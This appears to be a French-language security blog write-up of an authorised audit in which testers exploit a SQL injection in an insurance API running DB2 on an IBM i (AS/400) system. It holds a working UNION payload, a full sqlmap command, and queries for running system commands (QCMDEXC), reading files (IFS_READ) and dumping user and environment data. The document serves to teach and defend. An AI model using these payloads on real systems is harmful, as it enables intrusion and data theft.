Aller au contenu
Cybersécurité

Injection SQL : Analyse approfondie des systèmes legacy et des accès admin AS/400

Dans cet article, découvrez comment passer des entrées web vulnérables aux accès administratifs IBM i AS400 grâce aux attaques par injection SQL.

Partager sur

Une erreur SQL exposée, retournée par une API de gestion de contrats d’assurance, a marqué le point de départ de cette investigation sur une injection SQL.

Erreur SQL à l'origine d'une investigation, par l'équipe Audit et Sécurité Offensive I-TRACING, sur une injection SQL

Détail du code erreur SQL, renvoyée au sein d'une erreur Java, à l'origine d'une investigation, par l'équipe Audit et Sécurité Offensive I-TRACING, sur une injection SQL

Un tel niveau de détail annonce une exploitation simple de l’injection : la requête détaillée est renvoyée au sein d’une erreur Java. Deux idées d’exploitation viennent à l’esprit : Error Based puisque la pile d’erreur complète est renvoyée, et Union Based, qui permet d’extraire des données simplement de n’importe quelle requête.

Avant de se précipiter sur SQLMap pour automatiser l’extraction des données de la base, il peut être intéressant de regarder la construction de cette requête pour obtenir des informations sur le SGBD utilisé et ainsi limiter le nombre de requête nécessaires à SQLMap pour l’exploitation.

SQL
SELECT 
	CASE WHEN S0SITP>=10 THEN 'CLOSED' ELSE 'OPEN' END CLAIM_STATUS,
	digits(s0BRANCH) || digits(S0$SIN) N_CLAIM,
	TRIM(SMANAG) AS MANAGER_CLAIM,
	DIGITS(SACLAIM) || '-' || DIGITS(SMCLAIM) || '-' || DIGITS(SDCLAIM) AS OCCURENCE_DATE,
	TRIM(E.TVDESC) OCCURENCE_TYPE,
	TRIM(SRESP)  || '%' RESPONSABILITY,
	TRIM(S0BRANCH) BRANCH,
	TRIM(SNPOLIC) POLICY_NUMBER 
FROM DBGISDT.SINI00 
    LEFT JOIN DBGISCT.TRLINF D ON 
	    D.TFBRANCH=S0BRANCH 
	    AND D.TFTSEG=S0TSEG 
	    AND D.TFTYPE ='S0' 
	    AND D.TFCONC ='TYPESIN'
    LEFT JOIN DBGISCT.TABVAL E ON 
	    D.TFVALO=E.TV$INF 
	    AND S0INF6=E.TVVALI
WHERE 
    (S0BRANCH=po AND SNPOLIC=licy) 
    and not exists (
	    Select * from DBGISCT.GROUP3 
	    WHERE GR$CLA=015 and GR$GRU=1 and s0BRANCH=GRBRANCH and s0tseg=GRTSEG
    )

Un bon indice pour trouver le SGBD utilisé est de chercher les fonctions SQL utilisées, beaucoup sont spécifiques. Ici la fonction DIGITS ne semble pas provenir des SGBD les plus courants, une petite recherche internet nous amène sur la documentation de DB2.


Une autre possibilité pour trouver le SGBD est de regarder l’erreur renvoyée par le serveur : Adapter Runtime (Adapter Service): Unable to invoke adapter service client.cec.adapters.jdbc:dynamiciSeriesAdapter with connection client.connections.adapters.jdbc:iseries. Nous sommes face à un mainframe iSerie d’IBM, la base de données utilisée est certainement DB2, donc cela confirme l’hypothèse initiale.

Pour éviter de surcharger le serveur du client avec des requêtes inutiles, il est judicieux de construire la requête exploitable et de la renseigner directement à SQLMap.

La requête exécutée impose les contraintes suivantes pour obtenir une injection fonctionnelle :

  • Huit colonnes sont renvoyées, elles sont toutes de type VARCHAR (utilisation de TRIM ou concaténation de chaînes de caractères)
  • L’entrée id_policy est scindée en 2 éléments et injectée dans la condition WHERE à la fin de la requête
  • La valeur attendue est numérique puisqu’il n’y a pas de ' pour l’encapsuler
  • L’utilisation de sauts de ligne bloque l’utilisation de commentaires pour échapper la fin de la requête (-- commente la fin de la ligne courante et /* ... */ nécessite de fermer le commentaire pour qu’il soit syntaxiquement correct)

La payload suivante peut être utilisée (en conservant la table au sein de laquelle la recherche UNION est faite pour s’assurer que les colonnes utilisée dans la condition WHERE existent) :

123) UNION SELECT '1','2','3','4','5','6','7','8' FROM DBGISDT.SINI00 WHERE (1=1

Résultat de l'injection SQL et conservation de l'ordre des colonnes

L’injection fonctionne, l’ordre des colonnes retournées est conservé !

Cela donne la commande SQLMap suivante, retrouvant l’injection en un unique test :

sqlmap -u "https://client.local:5766/gateway/Sinistros/1.0/sinistros/list" --method="POST" --data='{"id_policy":"123"}' --proxy "http://localhost:8081" --technique U --union-cols=8 --union-char="'a'" --union-from="DBGISDT.SINI00" -p "id_policy" --prefix=")" --suffix="WHERE (1=1" --tamper unionalltounion.py --dbms "IBM DB2"

Commande SQLMap permettant de retrouver l'injection SQL en un unique test

Cependant lors de l’extraction d’informations, SQLMap ne parvient pas à récupérer les données à cause d’erreur du serveur. Par exemple avec --current-user :

Erreur serveur rendant impossible l'extraction de données par SQLMap.

Les erreurs renvoyées par le serveur aux requêtes effectuées par SQLMap sont les suivantes : [SQL0204] SYSVERSIONS in SYSIBM type *FILE not found. Cette erreur vient des différences entre les implémentations de DB2 pour les différents systèmes. Ici les schémas systèmes sont ceux de DB2 for IBM i alors que SQLMap fonctionne avec les schémas de DB2 UDB.
La plupart des requêtes enregistrées dans le fichier /sqlmap/data/xml/queries.xml sont ainsi inutilisables pour cette injection.

Les recherches sur DB2 for IBM i réalisée dans le cadre de cette investigation ont permis de construire la liste de payloads suivante pour ce SGDB : https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/list-sql-queries-DB2-for-IBMi.md#standard-queries-for-db2-for-ibm-i

Nous avons intégré les payloads trouvées sur DB2 for IBM i dans les fichiers de configuration de SQLMap. Ces modifications constituent une mise à niveau simple à implémenter pour nous aider lors de l’investigation. Une pull request devra être proposée pour ajouter ce SGBD de manière pérenne dans SQLMap.

Dans le fichier /sqlmap/data/xml/queries.xml, remplacer la balise de IBM DB2 par le contenu de ce fichier : https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/sqlmap-queries.xml

Plusieurs pistes restent à creuser pour compléter les injections et exploitations possible sur DB2 for IBM i, n’ayant pas eu le temps de tout traiter lors de notre investigation.
Toutes les requêtes données ci-dessous ont été trouvées lors de l’exploration de la documentation pour compléter cet article mais n’ont pas été testées sur DB2 for IBM i.

SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='<user>';

SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='*PUBLIC';

Le contexte d’exécution iSeries est particulier et ne permet pas l’utilisation de commandes valides sous Linux. La requête suivante semble fonctionner si l’utilisateur dispose des droits suffisants et permet de lire les informations de profil d’un utilisateur.

SELECT VARCHAR(QSYS2.QCMDEXC('DSPUSRPRF USRPRF(IBM)')) FROM sysibm.sysdummy1

Cependant, elle ne renvoie aucune information dans DB2 et doit être utilisée avec un fichier de sortie pour récupérer son résultat.

SELECT * FROM TABLE(QSYS2.IFS_READ(PATH_NAME => '/path/to/file', END_OF_LINE => 'CRLF'));
SELECT ENVIRONMENT_VARIABLE_NAME, ENVIRONMENT_VARIABLE_VALUE FROM QSYS2.ENVIRONMENT_VARIABLE_INFO WHERE ENVIRONMENT_VARIABLE_TYPE = 'SYSTEM'

SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*CURLIB*'));

SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*LIBL*'));

Au-delà de l’exploitation technique, cette investigation rappelle que :

  • Les messages d’erreur détaillés peuvent constituer un risque de sécurité majeur et ne doivent jamais être exposés dans des environnements de production ;
  • Les outils open source tels que SQLMap, bien que puissants, ne couvrent pas tous les cas particuliers et nécessitent des adaptations pour mener des évaluations de sécurité complètes ;
  • Une recherche documentaire approfondie et une bonne compréhension de l’architecture du système cible sont essentielles à la réussite d’une exploitation ;
  • Des injections simples au niveau des endpoints d’API peuvent avoir des conséquences critiques sur la sécurité.

Amos GEORGE, Audit & Sécurité Offensive I-TRACING

10 février 2026